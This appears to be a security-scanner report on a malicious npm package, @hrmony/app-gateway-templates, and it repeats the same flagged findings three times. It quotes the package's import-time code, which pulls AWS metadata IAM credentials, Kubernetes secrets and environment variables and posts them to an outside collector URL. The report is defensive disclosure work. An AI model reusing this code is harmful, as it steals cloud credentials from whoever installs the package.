@hrmony/app-gateway-templates@0.0.51: Malicious npm security

Loading npm security reports…

@hrmony/app-gateway-templates@0.0.51: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged

4L5: const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_app-gateway-templates"; L6: L7: await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "c53": "hello" }) }); L8: async function aws_get() { L9: const IMDS = "http://169.254.169.254"; L10: const META_URL = `${IMDS}/latest/meta-data`; ... L15: const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) }); L16: return await res.text(); L17: } ... L57: const base = `${META_URL}/network/interfaces/macs/${mac}`; L58: const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

5const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_app-gateway-templates"; await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "c53": "hello" }) }); async function

High

Ai Review Evidence

The entrypoint immediately posts to an external collector.

index.jsView on unpkg · L5

87info.iam = { info: asJson(await safeReq(`${META_URL}/iam/info`)), user_data: await safeReq(`${IMDS}/latest/user-data`), ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)), roles: Object.fromEntries(roleNames.map((r, i) => [r, asJson(roleCreds[i])])), }; info.collected_at = new Date().toISOString(); const res = await fetch(EXPORTER_URL, { method: "POST", headers: { "Content-Type": "application/json" }

High

Ai Review Evidence

It gathers AWS instance identity, IAM role credentials, and user data, then posts the collected object to that collector.

index.jsView on unpkg · L87

128const k8s_secrets = readSecrets('/var/run/secrets/'); await fetch( EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json", }, body: JSON.stringify({ envs: e

High

Ai Review Evidence

It recursively reads Kubernetes secrets, copies all environment variables, and sends them to the same collector.

index.jsView on unpkg · L128

146try { await aws_get(); } catch (err) { } try { await local_get(); } catch (err)

High

Ai Review Evidence

Both collection routines are invoked automatically at module import.

index.jsView on unpkg · L146

package.jsonView file

5"main": "index.js", "files": [ "index.js" ], "scripts": { "test":

High

Ai Review Evidence

The package entrypoint is index.js, so its top-level code runs when the package is imported.

package.jsonView on unpkg · L5

Source & flagged code

6 flagged · loading source

index.jsView file

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

High

Ai Review Evidence

The entrypoint immediately posts to an external collector.

index.jsView on unpkg · L5

High

Ai Review Evidence

It gathers AWS instance identity, IAM role credentials, and user data, then posts the collected object to that collector.

index.jsView on unpkg · L87

128const k8s_secrets = readSecrets('/var/run/secrets/'); await fetch( EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json", }, body: JSON.stringify({ envs: e

High

Ai Review Evidence

It recursively reads Kubernetes secrets, copies all environment variables, and sends them to the same collector.

index.jsView on unpkg · L128

146try { await aws_get(); } catch (err) { } try { await local_get(); } catch (err)

High

Ai Review Evidence

Both collection routines are invoked automatically at module import.

index.jsView on unpkg · L146

package.jsonView file

5"main": "index.js", "files": [ "index.js" ], "scripts": { "test":

High

Ai Review Evidence

The package entrypoint is index.js, so its top-level code runs when the package is imported.

package.jsonView on unpkg · L5

Source & flagged code

6 flagged

index.jsView file

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

High

Ai Review Evidence

The entrypoint immediately posts to an external collector.

index.jsView on unpkg · L5

High

Ai Review Evidence

It gathers AWS instance identity, IAM role credentials, and user data, then posts the collected object to that collector.

index.jsView on unpkg · L87

128const k8s_secrets = readSecrets('/var/run/secrets/'); await fetch( EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json", }, body: JSON.stringify({ envs: e

High

Ai Review Evidence

It recursively reads Kubernetes secrets, copies all environment variables, and sends them to the same collector.

index.jsView on unpkg · L128

146try { await aws_get(); } catch (err) { } try { await local_get(); } catch (err)

High

Ai Review Evidence

Both collection routines are invoked automatically at module import.

index.jsView on unpkg · L146

package.jsonView file

5"main": "index.js", "files": [ "index.js" ], "scripts": { "test":

High

Ai Review Evidence

The package entrypoint is index.js, so its top-level code runs when the package is imported.

package.jsonView on unpkg · L5

@hrmony/app-gateway-templates@0.0.51

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code